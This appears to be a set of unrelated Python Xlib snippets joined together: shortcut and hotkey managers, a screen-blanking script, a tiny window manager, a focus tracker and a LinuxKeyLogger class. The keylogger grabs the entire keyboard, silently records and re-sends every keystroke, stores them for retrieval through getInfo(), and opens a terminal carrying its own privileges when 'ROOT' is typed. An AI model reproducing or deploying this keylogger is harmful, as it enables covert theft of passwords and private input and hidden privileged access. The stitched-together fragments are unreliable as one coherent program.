class X11Shorty: ''' X11 Variant of shortcut manager ''' def __init__(self): self.display = Display() self.root = self.display.screen().root self.ignored = [0, X.LockMask, X.Mod2Mask, X.LockMask | X.Mod2Mask] #enddef def __del__(self): self.display.close() #enddef def _listenerLoop(self): self.root.xinput_select_events([(xinput.AllDevices, xinput.KeyPressMask)]) while True: event = self.display.next_event() if event.type == X.KeyPress: #handle pass #endif #endwhile #enddef def _grabKey(self, keycode, modifiers, window): GrabKey(self.display.display, owner_events=True, grab_window=window, modifiers=modifiers, key=keycode, pointer_mode=X.GrabModeAsync, keyboard_mode=X.GrabModeAsync) return True # TODO: error handling? #enddef def _ungrabKey(self, keycode, modifiers, window): UngrabKey(self.display.display, grab_window=window, modifiers=modifiers, key=keycode) return True # TODO: error handling? #enddef def registerShortcut(self, key, modifiers, callback): # X has a stupid system where even the numlock counts as # a modifier. So have to register multiple hotkeys, one for # each combination of modifiers we don't care about nativeKey = toNativeKeycode(key) nativeMod = toNativeModifiers(modifiers) for i in self.ignored: if not self._grabKey(nativeKey, nativeMod | i, self.root): return False #endfor return True #enddef def unregisterShortcut(self, key, modifiers): nativeKey = toNativeKeycode(key) nativeMod = toNativeModifiers(modifiers) for i in self.ignored: self._ungrabKey(nativeKey, nativeMod | i, self.root) #endfor #enddef #endclass
#!/usr/bin/python import time import subprocess from Xlib import X from Xlib.display import Display display = Display(':0') root = display.screen().root root.grab_pointer(True, X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime) root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) subprocess.call('xset dpms force off'.split()) p = subprocess.Popen('gnome-screensaver-command -i'.split()) time.sleep(1) while True: print display.next_event() p.terminate() break
class HotKeyListener(gobject.GObject, threading.Thread): __gsignals__ = { 'key-press': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_STRING,)) } def __init__(self, keybinds): gobject.GObject.__init__(self) threading.Thread.__init__(self) self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self._mod_mask = get_known_modifiers() self._keys = {} # Parse and load the keybinds: for act, key in keybinds.iteritems(): km = parse_key(key) if km is not None: self._keys[km] = act def _grab(self): for keycode, _ in self._keys.keys(): self.root.grab_key(keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync) def _ungrab(self): for keycode, _ in self._keys.keys(): self.root.ungrab_key(keycode, X.AnyModifier, self.root) def _emit(self, key): gtk.gdk.threads_enter() self.emit('key-press', key) gtk.gdk.threads_leave() def _key_pressed_action(self, keycode, modifiers): modifiers &= self._mod_mask for km,act in self._keys.iteritems(): if keycode == km[0] and modifiers == km[1]: return act def run(self): self._running = True self._grab() while self._running is True: # Wait for new events select.select([self.display], [], [], 1) # Pump events while self.display.pending_events() > 0: event = self.display.next_event() if event.type == X.KeyPress: act = self._key_pressed_action(event.detail, event.state) if act is not None: gobject.idle_add(self._emit, act) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) self.display.close() def stop(self): self._ungrab() self._running = False
from Xlib.display import Display from Xlib import X, XK dpy = Display() dpy.screen().root.grab_key(dpy.keysym_to_keycode(XK.string_to_keysym("F1")), X.Mod1Mask, 1, X.GrabModeAsync, X.GrabModeAsync) dpy.screen().root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) dpy.screen().root.grab_button(3, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) start = None while 1: ev = dpy.next_event() if ev.type == X.KeyPress and ev.child != X.NONE: ev.child.configure(stack_mode = X.Above) elif ev.type == X.ButtonPress and ev.child != X.NONE: attr = ev.child.get_geometry() start = ev elif ev.type == X.MotionNotify and start: xdiff = ev.root_x - start.root_x ydiff = ev.root_y - start.root_y start.child.configure( x = attr.x + (xdiff if start.detail == 1 else 0), y = attr.y + (ydiff if start.detail == 1 else 0), width = max(1, attr.width + (xdiff if start.detail == 3 else 0)), height = max(1, attr.height + (ydiff if start.detail == 3 else 0))) elif ev.type == X.ButtonRelease: start = None
class XWindowFocusTracker: def __init__(self): self._callbacks: MutableSequence[Callback] = [] self._disp = Display() self._current_window_id: Optional[XWindowId] = None self.NET_ACTIVE_WINDOW = self._disp.intern_atom('_NET_ACTIVE_WINDOW') self.NET_WM_NAME = self._disp.intern_atom('_NET_WM_NAME') self._screen_locked = False self._lock = threading.Lock() def register(self, callback: Callback) -> None: with self._lock: self._callbacks.append(callback) def run(self) -> None: screen_lock_tracker = ScreenLockTracker(self) screen_lock_tracker_thread = threading.Thread( target=screen_lock_tracker.run, daemon=True) screen_lock_tracker_thread.start() root = self._disp.screen().root root.change_attributes(event_mask=X.PropertyChangeMask) while True: self._handle_xevent(self._disp.next_event()) def set_screen_locked(self, locked: bool) -> None: logging.info(f'XWindowFocusTracker.set_screen_locked(locked={locked})') with self._lock: self._screen_locked = locked if locked: window_id = -1 window_name = 'locked' else: window_id = self._current_window_id window_name = self._get_window_name(window_id) for callback in self._callbacks: callback(window_id, window_name) def _handle_xevent(self, event: Event) -> None: """Handler for X events which ignores anything but focus/title change""" if event.type != X.PropertyNotify: return if event.atom != self.NET_ACTIVE_WINDOW: return window_id = event.window.get_full_property(self.NET_ACTIVE_WINDOW, X.AnyPropertyType).value[0] with self._lock: if self._current_window_id == window_id: return self._current_window_id = window_id window_name = self._get_window_name(window_id) for callback in self._callbacks: callback(window_id, window_name) def _get_window_name(self, window_id: XWindowId) -> str: window_obj = self._disp.create_resource_object('window', window_id) try: window_name_property = window_obj.get_full_property( self.NET_WM_NAME, 0) except Xlib.error.BadWindow: return '' else: return window_name_property.value.decode('utf-8')
class LinuxKeyLogger(threading.Thread): """ This implementation of the keylogger is designed to work on linux based systems. WILL NOT FUNCTION ON OTHER OPERATING SYSTEMS. """ def __init__(self): """ Constructs the logger and its internal objects """ super().__init__() self.display = Display() self.root = self.display.screen().root self.capturedKeys = [] self.windowKeys = [] self.capture = True def run(self): """ Starts the logging process """ self.log() def log(self): """ Sets up the root window to capture the keys being typed in. """ self.root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) self.root.grab_keyboard(0, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) try: while self.capture: event = self.display.next_event() self.handleEvent(event) self.display.allow_events(X.AsyncKeyboard, X.CurrentTime) except Exception as e: print(e) def handleEvent(self, event): """ The Xlib library will produce events when a key is pressed this method will analyze those events and extract the pertainent information along with passing that information further down the line to be processed by the operating system. :param event: :return: None """ if (event.type == X.KeyRelease): char = Xlib.XK.keysym_to_string( self.display.keycode_to_keysym(event.detail, event.state)) if char is not None: self.capturedKeys.append(char) self.windowKeys.append(char) self.send_key(event.detail, event.state) self.phrase_check() # self.send_keyup(event.detail, event.state) elif (event.type == X.KeyPress): pass # try: # self.send_keydown(event.detail, event.status) # except AttributeError as ae: # print(ae) # window = self.display.get_input_focus()._data["focus"] # window.send_event(event,propagate=True) def phrase_check(self): """ This method will check to see if the typed in keys correspond to any of the preset phrases that have associated executions. :return: """ # will need to create a smarter way of doing this stop = self.checkPhrase(self.getStopPhrase()) if (stop): self.capture = False openT = self.checkPhrase(self.getTerminalPhrase()) if (openT): self.openterminal() # ensure window size is maintained maxLength = max(len(self.getStopPhrase()), len(self.getTerminalPhrase())) if len(self.windowKeys) > maxLength: self.windowKeys = self.windowKeys[len(self.windowKeys) - maxLength:] def checkPhrase(self, phrase): """ Checks whether a phrase matches the most recently typed in keys. """ length = len(phrase) capLength = len(self.windowKeys) if (capLength >= length): section = self.windowKeys[capLength - length:capLength] lastWords = ''.join(section) if (lastWords.upper() == phrase): return True return False def send_key(self, emulated_key, state): """Sends a key downstream to be processed by the computer""" self.send_keydown(emulated_key, state) self.send_keyup(emulated_key, state) def send_keyup(self, emulated_key, state): """Sends an key up message downstream to be processed by the computer""" shift_mask = state # Xlib.X.ShiftMask window = self.display.get_input_focus()._data["focus"] event = Xlib.protocol.event.KeyRelease(time=int(time.time()), root=self.display.screen().root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=emulated_key) window.send_event(event, propagate=True) def send_keydown(self, emulated_key, state): """Sends a key down message downstream to be processed by the computer""" shift_mask = state # Xlib.X.ShiftMask window = self.display.get_input_focus()._data["focus"] event = Xlib.protocol.event.KeyPress(time=int(time.time()), root=self.root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=emulated_key) window.send_event(event, propagate=True) def openterminal(self): """ This method will open up a terminal on a linux machine. If this application is running with root privileges then the terminal will also be given root privileges. :return: """ subprocess.call("gnome-terminal") def getStopPhrase(self): """ When this phrase is typed in the keylogging will stop running """ return "MISCHIEF MANAGED" def getTerminalPhrase(self): """ When this phrase is typed in a terminal will be created and this terminal will have the same privileges that the key logger is running as. """ return "ROOT" def hasInfoToSend(self): """ Determines whether or not there have been keys that have been captured. :return: True if there are captured keys otherwise False """ return len(self.capturedKeys) > 0 def getInfo(self): """ Provides the caller with a string of the captured keys. It is important to note that a call to this method is a mutating call. This means that once the information is retrieved it is purged from this object. :return: A string of the captured keys """ ret = ''.join(self.capturedKeys) self.capturedKeys = [] return ret
class GlobalKeyBinding (gobject.GObject, threading.Thread): __gsignals__ = { 'activate': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()), } def __init__ (self, dir, key): gobject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.gconf_key = dir+"/"+key self.gconf = gconf.client_get_default () self.gconf.add_dir (dir, gconf.CLIENT_PRELOAD_NONE) self.gconf.notify_add (self.gconf_key, self.on_key_changed) self.keymap = gtk.gdk.keymap_get_default () self.display = Display () self.screen = self.display.screen () self.root = self.screen.root self.map_modifiers () def map_modifiers (self): gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in gtk.accelerator_name (0, modifier): self.known_modifiers_mask |= modifier def on_key_changed (self, *args): self.regrab () def regrab (self): self.ungrab () self.grab () def grab (self): accelerator = self.gconf.get_string (self.gconf_key) keyval, modifiers = gtk.accelerator_parse (accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0] self.modifiers = int (modifiers) return self.root.grab_key (self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync) def ungrab (self): if self.keycode: self.root.ungrab_key (self.keycode, X.AnyModifier, self.root) def idle (self): # Clipboard requests will hang without locking the GDK thread gtk.gdk.threads_enter () self.emit ("activate") gtk.gdk.threads_leave () return False def run (self): self.running = True wait_for_release = False while self.running: try: event = self.display.next_event () if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events (X.AsyncKeyboard, event.time) else: self.display.allow_events (X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False gobject.idle_add (self.idle) self.display.allow_events (X.AsyncKeyboard, event.time) else: self.display.allow_events (X.ReplayKeyboard, event.time) except Exception, e: print e